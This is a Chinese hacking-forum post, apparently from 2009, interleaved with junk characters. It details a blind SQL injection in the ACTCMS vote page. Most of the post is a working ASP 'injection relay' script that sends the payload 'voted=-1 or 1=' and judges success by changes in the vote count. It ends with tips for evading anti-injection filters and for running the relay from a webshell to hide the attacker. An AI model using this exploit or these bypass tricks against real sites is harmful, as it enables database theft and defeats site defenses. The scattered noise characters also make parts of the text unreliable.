& f: ~* o" Z+ a( t9 z看到ninty大牛的blog的一篇文章
& t2 q% f+ @, V: n链接标记[url]http://www.forjj.com/?action=show&id=80[/url]/ H; P. \& F! U. m& U( k" h
关于actcms漏洞的利用 by 3x qq:3818625897 p+ f" c6 H6 e1 f3 q& ^: R
转载请注明以上
) c$ H. m# Z7 q# K4 p& [漏洞文件:
$ c# V# G/ J7 z8 b5 Q* m/plus/vote/vote.asp
8 B2 ^5 y( e9 s% l4 y t代码: 链接标记预览源代码 链接标记打印链接标记关于1if request("voted").count=0 then & p; M, D) X% d- i1 S/ O) w. h E
0 b* d( R7 D& s, a. F. r1 ?1 L2 response.write "<script>alert('请选择投票项目。');window.close()</script>" + Y$ H1 J% Z* x; {
5 ]9 f b5 I8 R% h3 response.end
6 o+ _( `/ E% k) W5 z& z5 M4 r1 T% z" S
4 end if
" b. ^0 h* Y. j% P- \, J1 a
, ?7 ]& M& r! U! s$ Z; J7 i& W* R5 for i=1 to request("voted").count 0 F$ k# h% ^5 v5 ]# |+ I6 |
$ C/ Z0 M( k0 K+ P
6 actcms.actexe("Update vote_act set VoteNum=VoteNum+1 where id="&request("voted")(i)) $ o9 n- @" H4 i# P) F! N6 \* [
' t! O% L6 H3 p
7 next
/ _) d6 K! M9 p2 K/ N1 R' y0 M) b6 _
8....
( b' [5 h' |9 X* U1 W# E
7 p9 q: R% Q+ y) D9response.Redirect "index.asp?id="&id&""
, ~/ h' Q. {7 Z7 r4 L K4 G$ g投票结束回跳转回index.asp这个投票结果页面# o7 u% U! U' [8 O5 c7 k1 ^- O
如果投票成功票数加1' O8 U7 {( y- p7 \3 M N, q
失败票数不变: {! z5 z8 W6 B5 `% b2 w
如图:+ U( Y0 q' q$ T W7 ^% L; r* P! m
http://www.t00ls.net/images/default/attachimg.gif http://www.t00ls.net/attachments/month_0912/091227132032ef432aa12b1267.jpg链接标记下载 (3.95 KB)
- M0 ]+ m( G1 c# @! N, q( K/ A9 T0 y+ Y* s7 L" R
2009-12-27 13:20
! m; J) T+ G: K; U3 n& n# j S4 k0 k
利用这点来注入,由于ninty大牛学java的,但是java运行环境实在是。。。。不说了
5 P- h/ h3 e: h: b3 ]" W" }- d5 Z0 y% ^
本帖隐藏的内容需要回复才可以浏览
9 |! d# f& M/ |/ Q/ U我们用注入中转来实现这个注入具体代码如下:
6 a3 @0 }! ?& C9 B, O5 ]先用寂寞的刺猬大牛的注入中转生成jmget.asp* e" K3 X, U( v/ z5 Y
注入地址:http://localhost/actcms/plus/vote/vote.asp
( ~' d" P$ S0 L2 }9 w注入键值:id=1&voted=-1 or 1= '这里这样换的话就有学问了,不用去判断有什么投票选项
: Q7 O4 w( i" ?$ a6 H# q! @" f4 Q/ n/ \4 k# ~, }% k
然后进行修改变成如下代码: 链接标记预览源代码 链接标记打印链接标记关于01<% ( B6 y5 ?% D4 B/ C
! G4 z: O s S4 v6 N; n
02JmdcwName=request("jmdcw")
/ y) V) ]- |! n/ q# P' x
) J2 {% T. L5 |. H# _ Z: ?$ i5 I1 i) R03' 注入中转站 GET 版,BY 寂寞的刺猬 [L.S.T]
% j( Q* a# `/ Z" i9 T1 U6 f
7 `, G8 x* r$ b$ `; Z Z+ l0 Y04JmStr="id=1&voted=-1 or 1="&JmdcwName + y1 b* D0 n: |5 x1 ?5 q: y
4 i. x- x% U0 j2 C- O \05JmStr=URLEncoding(JmStr)
& D( b& y+ P3 Y% r# z- A: b6 g. I/ [+ q
06JMUrl="链接标记http://localhost/actcms/plus/vote/vote.asp"- y d2 {( C1 B; w5 c; w R, o" D
( }' a. m+ G1 e6 }+ b' c2 C/ ]: M
07testurl="链接标记http://localhost/actcms/plus/vote/index.asp"
R' a* n! \) v7 e; c
+ b: w1 N4 A0 a( R08testurl=testurl & "?" & JmStr
$ f; \" r) N8 X) g' O! a$ U& @9 K2 p* _: T/ p0 A3 \/ V# z
09JMUrl=JMUrl & "?" & JmStr
P1 P3 Q3 E8 ^1 J- }! F/ k3 q+ Y- o. t: |3 |/ k* l: }
10JmRef="链接标记http://localhost/actcms/plus/vote/vote.asp"
0 c: j+ V" n# z0 j- B& U
( K. O1 K" v- J: x- S- W11JmCok="ASPSESSIONIDAQACTAQB=HKFHJOPDOMAIKGMPGBJJDKLJ;"4 c, {& [; e6 X& Q
. _& H. D( i8 _7 h/ G) m12JmCok=replace(JmCok,chr(32),"%20")
8 d+ C, n9 g5 @7 y5 c) s' Y& ?+ w6 V( O
13test1=getSt(PostData(testurl,JmStr,JmCok,JmRef)) '投票前投票记录 getSt为返回投票数的函数
" G$ y5 |# Z' g9 A5 a9 S% s0 U9 R, R
14
3 g1 Q" P3 ?) E1 e1 y3 F- I$ c! g$ ]8 m( w; Q- S3 }
15re=PostData(JMUrl,JmStr,JmCok,JmRef) '投票
9 s, e, m+ {* X- Y; ^6 W/ Y- c. `. X7 n: l. |* `
16
( f: e) [" c! U Z% E$ `; T- s& P$ f# T* f
17test2=getSt(PostData(testurl,JmStr,JmCok,JmRef)) '投票后的投票记录
- i) D4 n7 M; H' i- H' A, b- F4 D0 I+ W( @6 B4 e/ o& w h
18response.write test1&""&test2&""2 @( W; K5 b5 e
8 b+ `& w- d; o% g8 e2 e- Y19 - \8 \( \. B* ]2 G. k; |
7 o& _! \5 l$ y2 X
20if test1=test2 then '如前后记录相等,表示失败
. \1 K* A: k( T
* P3 R0 {: n$ K8 y21 response.write "failed"
! e" U8 q, v# }) o
# s7 y y3 y5 p0 H. L1 C% ?3 K; y22else & `8 l0 D$ j' c" n$ P" I8 H& e
0 Y( P! w/ l4 @+ t) T' S23 response.write "succeed"
/ o4 G {, S* Q4 w8 d5 _$ H
f! ^4 [$ J# ?- u' F24end if 6 |. b! Z+ I( z; v- f) T
; h& Y0 m0 k n4 K" [( S' Q6 {25 1 _: Y) e, M$ T/ U/ l
. K' x5 T* e' `% o7 _ I
26response.write "by 3x"
+ d0 r% s0 h/ F7 A7 W9 b3 x; Q1 C. V F& f% {3 w$ C
27 & v/ \# j2 O# l3 @ {
L; B8 y& W! A) r( B+ j/ h
28
) R: d- b. A; g3 s' @0 N0 Q* y3 Y5 u" _/ ]7 b$ b+ b
29Function PostData(PostUrl,PostStr,PostCok,PostRef) % x1 k* y: d5 X4 P
, p% X& L/ j6 S9 o30Dim Http & i8 r$ S6 L; Y3 L3 k+ c( v
5 Y! x5 R R& o- q31Set Http = Server.CreateObject("msxml2.serverXMLHTTP") " B( b* `7 w* R# d' I$ d) c. b
7 j! ^3 E* X% J' D32With Http
' x, b0 u- g# D
, Q( _1 l- q* g2 b33 6 z& T0 C& Q" M( A6 T
' |' J5 f" G* K' R34.Open "GET",PostUrl,False3 s2 e" l( l0 V6 z" e: z: P8 c
- s" s' [0 V2 a35.SetRequestHeader "Content-Type","application/x-www-form-urlencoded"
- w H1 m" v1 v' E; q# ^
# E2 z4 e: I! O5 G+ [5 D1 s* c36.SetRequestHeader "Referer",PostRef
1 b( s9 Z3 l& `( [1 e/ }( I" V8 n) y A
37.SetRequestHeader "Cookie",PostCok
6 j1 n: [# @2 F5 `) @; s4 D: k4 Z# m. s C, N4 v8 k6 ]" c
38.Send ()
, J4 a) I: s7 D& i) F! [
7 R/ u! T- n' s39PostData = .ResponseBody
( x9 M' B, u9 H1 ^# R% U
9 e3 k8 J! U |* E2 r40End With
$ V, g, `1 h3 B1 X" m D# w
+ s- v" \7 w; t! Z9 `' U41Set Http = Nothing
1 r3 d5 Q7 F$ P6 C- }+ i- o; B2 { o. q
42PostData =bytes2BSTR(PostData) 4 l2 \# V# C& b. {1 m, y# c E
: i9 n! f. A: k
43End Function) a6 k- w4 w- Q5 _2 f
7 K# x. `; F6 A% b! I44
2 x) E% O" J3 F; ^4 o3 V7 |# x' p% m
45
2 X/ v6 f% N" f1 S' n0 R* G$ h* w5 }: `3 C* [
46Function bytes2BSTR(vIn) % y R& u! |; `& C
5 F* Z2 p) q+ c/ M
47Dim strReturn
; S& O1 X1 K- ?. W2 w% T6 ]
$ u9 g4 N) u8 \6 U2 D48Dim I, ThisCharCode, NextCharCode + I" ]9 R# }$ i$ s) @( O
$ q. [" i4 o( i49strReturn = ""
9 ]1 P6 [% v9 ]* L5 I! K" x$ t! P: u% V/ L
50For I = 1 To LenB(vIn) 2 N/ _! @' R$ o
# ~0 m$ s( U* N$ u
51ThisCharCode = AscB(MidB(vIn, I, 1)) # b5 [$ e# e, o2 q3 ~& g1 i
! O: a5 R6 d3 j' K& t* m# ~52If ThisCharCode < &H80 Then
9 u! R4 n# C" \( B6 i* I1 W8 u$ y9 g$ |
53strReturn = strReturn & Chr(ThisCharCode)
# ]# s9 U/ W; G; g; _( O5 ^- B% E* F
54Else) r( o0 N% d" B8 B+ [' A
" \! w2 i8 Q! a+ d
55NextCharCode = AscB(MidB(vIn, I + 1, 1))
6 J" y, D$ m% t1 r% w2 v' {# S- f( {3 o( x
56strReturn = strReturn & Chr(CLng(ThisCharCode) * &H100 + CInt(NextCharCode))
3 q2 I4 p. C) C1 W6 W' |
: r2 m( p( G# v4 b* k5 ?- f4 K$ [) G N, r57I = I + 1
# j7 R. l$ l% ^& Y# l
& C! g- |2 P, }. Y58End If
: z* L8 K+ ?0 w: `) `# y% t" s( \
9 u6 g, m" b; O$ t& E: a1 a. f59Next# U2 G. D! x s& m
1 q# s0 ^+ B2 @8 y/ ^60bytes2BSTR = strReturn $ s9 c7 A. i% G" g% l' i3 v+ H
! ~; G! q, Y1 G! G' Y& `5 j: z61End Function
% f/ E& o! y+ s @! X8 s4 H4 y9 ?6 D/ w3 |; u
62
; o7 U0 y5 v! R) c' M" V0 r
$ r& ?1 C+ S, I$ E63Function URLEncoding(vstrin) 6 r. n( W2 l) G! C8 b
8 `5 }) d4 ~+ i J z) j64strReturn="", |% g4 `0 C) h8 s p+ Q
" a! a7 D, r; r! H* N$ l2 o65Dim i
; F1 \; ]. F: m3 U4 A- [1 a* C8 k, n: g* n4 f- J1 e$ X- l
66For i=1 To Len(vstrin)
4 L1 q5 Q& K7 {- @3 V3 t0 r( p- e8 }, R- b
67ThisChr=Mid(vstrin,i,1) ; k. J6 C! A' f: \4 k- X
* p( W* h2 a/ c% A8 o68if Abs(Asc(ThisChr))< &HFF Then
' f* X( N( Z1 } C' q: S0 Z9 P% P* i. |$ O; H
69strReturn=strReturn & ThisChr
0 x2 O1 p( O& i/ i) H3 ~( s3 C* q9 G9 `- R6 U; c
70Else4 T; x2 R1 j1 e4 W8 j
. R; t F% {' R% o _' l) x+ `
71InnerCode=Asc(ThisChr) & Q" b& g0 X" t7 K, j% @: L {+ ?
; L4 J' [# x0 l; A) D6 P72If InnerCode<0 Then
$ z: e9 q" N/ i5 Q1 X$ I, |7 D ^, J) E! K
73InnerCode=InnerCode + &H10000
+ ?: \8 m7 e, b& _* c8 `$ U" q% W
5 S! C G$ H% L# [9 I74End If
$ u# i( ?5 X$ H% ^- b0 v
. a( [ k+ e" F" K75Hight1=(InnerCode And &HFF00) \&HFF * I- _$ O0 c! x6 q8 m, w1 \/ |
( h7 O3 J# H3 ^$ l' L9 s76Low1=InnerCode And &HFF 8 }' r/ l' e! e8 U. B% p
. a, o+ @3 \1 b5 N: K
77strReturn=strReturn & "%" & Hex(Hight1) & "%" & Hex(Low1) 9 s8 P3 u7 R. p9 ~2 K
4 a# C* Z/ W: l78End if
8 v2 t- r$ K5 F8 W
5 U& Q/ \. f, F. d/ H79Next
, L$ w2 s2 ~7 Z; v' a4 I. z% D! a1 {, o$ F
80strReturn=Replace(strReturn,chr(32),"%20") '转换空格,如果网站过滤了空格,尝试用/**/来代替%20
% ]% n' O1 C, W8 L/ b1 I
Y8 P( _ {6 J I; b6 X7 D% v81strReturn=Replace(strReturn,chr(43),"%2B") 'JMDCW增加转换+字符 4 t- h: h! p/ s. u2 O+ O
1 A0 O' D3 g7 e( g5 D& Z% Y82'strReturn=Replace(strReturn,过滤字符,"转换为字符") '在此增加要过滤的代码 * G7 S6 ~& M! P7 Y
! }! D" w6 S% j83URLEncoding=strReturn : u F! b; K; S( R& w$ j# W
% C" w' ~% [1 E/ K
84End Function
7 d* q* j" @5 p. D6 [/ @
. S( L) }3 R# P" n% G85
/ ~( T$ |( Y4 _2 W9 s' |) H' [5 S1 m- W6 E% Q
86function getSt(body) 7 o& e" I/ w$ V
6 J, G. v3 D0 w" e! ]& @
87 startpot=instr(body,"投票人数:")+len("投票人数:")
- g( w. s( y% M; G/ |/ p1 {6 Q- N- m: H* J1 k: \ y
88 endpot=instr(startpot,body," ")
7 H2 e. P5 R7 s
# J4 O+ o! R& b5 p( S$ G% O89 getSt=mid(body,startpot,endpot-startpot)
; |6 B! k) e+ L T/ P
4 ~8 l2 v) p, D3 u90end function
' l- k% S! ?/ J$ V( T' V. B( e1 e+ O9 r3 y1 X6 ]. F
91%># Q/ J( Y# e$ b- d& \2 u [4 W
注入地址就是http://localhost/vote.asp?jmdcw=1 '我把jmget.asp改成vote.asp了
# D) `. y: C9 ?+ a% p% o9 j" W测试下效果:
' D5 d! b: T4 s: _投票成功:
( c1 A1 `7 N) L# z& Lhttp://www.t00ls.net/images/default/attachimg.gif http://www.t00ls.net/attachments/month_0912/091227132987c71b583da9fb1a.jpg链接标记下载 (15.4 KB)
- F- U' P5 M; Y
, v! j" p6 u4 @2009-12-27 13:297 V, y; U2 [9 R% l$ V" |0 u
投票失败: D/ k F9 m1 ~
http://www.t00ls.net/images/default/attachimg.gif http://www.t00ls.net/attachments/month_0912/09122713294089aca533bb1d18.jpg链接标记下载 (13.72 KB)
h6 V, ]3 W" c+ h1 \, x' Q; T Z F2 w* }
2009-12-27 13:29
, M! a, L" s" T% L-------------------------------------------------------------------------------* F) Y5 l( v& u
再补充下。。。这个用明小子等去注我发现不行。。。总结了一下原因,明小子等注入工具是多线程的,而这个投票人数的变量没进行锁的机制。。。所以
9 M; p: _1 @; e0 f很抱歉。。。只能用单线程工具去注入。。。。。
3 I5 U0 ~# ^% ^5 f3 r4 w$ _7 G所以失败。。。不好意思。。。
# }5 {: }. z. p# _-------------------------------------------------------------------------------
4 C1 K' y8 J y4 G L, R' B9 C5 ~0 l0 w# Q4 x/ ^7 m. Y- z
注入中转的一些其他应用- t* B4 h7 ] N# @ \" F1 \$ g! [
其实寂寞的刺猬大牛给我们提供这款基于xmlhttp的傻瓜式中转工具实在是太方便我们小菜了
8 E& @3 p3 S8 B6 l- R0 Q5 G6 ?1.普通的get型的注入点如果中转一下,放到我们的webshell上跑,有效的隐藏我们的id& d9 t' A. {1 W/ }
2.post注入转成get型的注入,方便我们使用工具来跑
0 u& ~$ ]# k5 U2 |6 i) b" U3.在一些cms或者一流拦截系统,过滤了selelct等关键词,这里的过滤指的是replace,我们可以在代码中进行转化,replace(jmstr,"select","sselectelect"),这样我们就可以用工具了,对于一流拦截的突破就replace(jmstr,"%20","%09")
( l7 I% C8 z; }/ ?4.在某些防注入系统中的突破,上次我遇到一个防注入,大家应该也很熟悉,可以通过id--->%69d来绕过,但是如果是post的呢?我把他中转成get型的,但是注入键值我改成%69d=,成功绕过/ t, d" M" l# o. T5 l; q$ l) ?1 ?
& Q; _7 U2 c/ ?. r: a
|